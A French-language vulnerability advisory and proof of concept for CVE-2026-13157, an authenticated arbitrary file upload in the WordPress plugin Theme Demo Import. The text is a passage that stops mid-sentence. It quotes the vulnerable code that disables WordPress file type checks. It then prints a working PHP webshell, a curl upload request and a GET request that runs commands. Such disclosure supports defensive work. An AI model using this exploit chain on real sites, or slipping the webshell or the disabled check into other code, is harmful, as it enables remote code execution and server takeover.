
Preuve de concept et analyse des causes profondes d'un téléversement arbitraire de fichier authentifié dans WordPress Theme Demo Import menant à une exécution de code à distance via un webshell PHP.
CVE-2026-13157 est une vulnérabilité de téléversement de fichier arbitraire nécessitant une authentification, affectant le plugin WordPress Theme Demo Import jusqu'à la version 1.1.3 incluse, découverte et analysée par le chercheur en cybersécurité Huynh Kien Minh (MinhHK). La vulnérabilité réside dans la routine d'import de démonstration AJAX (TDI_import_demo_data), où le plugin désactive explicitement les tests standard de vérification des types de fichiers de WordPress ('test_type' => false) lors du traitement des téléversements. Un utilisateur authentifié disposant des capacités d'import — tel qu'un administrateur de site par défaut ou un administrateur de site non super-administrateur dans une architecture WordPress Multisite — peut contourner les restrictions de fichiers pour téléverser des scripts PHP exécutables arbitraires directement dans le répertoire public wp-content/uploads/, obtenant ainsi une exécution de code à distance (RCE) persistante et la compromission totale du serveur.
| Paramètre | Spécification technique |
|---|---|
| Identifiant de vulnérabilité | CVE-2026-13157 |
| Logiciel cible | Theme Demo Import (Plugin WordPress) |
| Slug du plugin | theme-demo-import |
| Versions affectées | <= 1.1.3 |
| Classe de vulnérabilité | Téléversement sans restriction de fichier de type dangereux (CWE-434 / OWASP A03) |
| Score CVSS v3.1 | 6,6 (Moyen) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Découvreur / Chercheur | Huynh Kien Minh (MinhHK) |
| Autorité de vérification | WPScan / MITRE Corporation |
| URL de l'avis WPScan | https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/ |
| Portfolio du chercheur | https://minhhk.web.app/ |
La cause racine de CVE-2026-13157 réside dans l'architecture de gestion des téléversements implémentée dans inc/class-tdi-helpers.php. Lors des opérations d'import de données de démonstration, le plugin traite les pièces jointes entrantes via le point de terminaison AJAX enregistré dans inc/class-tdi-main.php à la ligne 55 :
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );
Lors du traitement des fichiers de configuration de démonstration téléversés (content_file, widget_file et customizer_file), la méthode d'import interne demande directement à l'API WordPress wp_handle_upload() de contourner les contrôles de validation du type MIME et du formulaire :
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);
// Handle demo content and widgets file upload.
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
En passant 'test_type' => false dans $upload_overrides, le développeur a neutralisé le sous-système de vérification MIME du cœur de WordPress (wp_check_filetype_and_ext()). Conséquence directe : l'application ne restreint plus les pièces jointes aux formats de données de démonstration sûrs (.xml, .json, .wie, .dat), permettant à tout utilisateur authentifié ayant accès à la page des réglages de téléverser des scripts PHP exécutables (.php, .phtml, .phar) directement dans la racine du document public.
Avertissement de recherche éthique : Cette preuve de concept est documentée strictement à des fins d'audit pédagogique, d'ingénierie défensive et de validation de sécurité autorisée. Toute exploitation non autorisée de systèmes en production est interdite.
<= 1.1.3.import (Admin / Administrateur de site Multisite).tdi-ajax-verification (exposé dans le DOM de la page comme propriété d'objet JavaScript tdi.ajax_nonce sur /wp-admin/themes.php?page=theme-demo-import).exploit_webshell.php :<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
} else {
echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
-F "action=TDI_import_demo_data" \
-F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
-F "content_file=@exploit_webshell.php;type=application/x-php"
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>
Bien que les installations WordPress mono-site accordent aux administrateurs standard un contrôle de confiance sur l'environnement du serveur, CVE-2026-13157 provoque l'effondrement des frontières de sécurité critiques dans les déploiements d'entreprise et Multisite :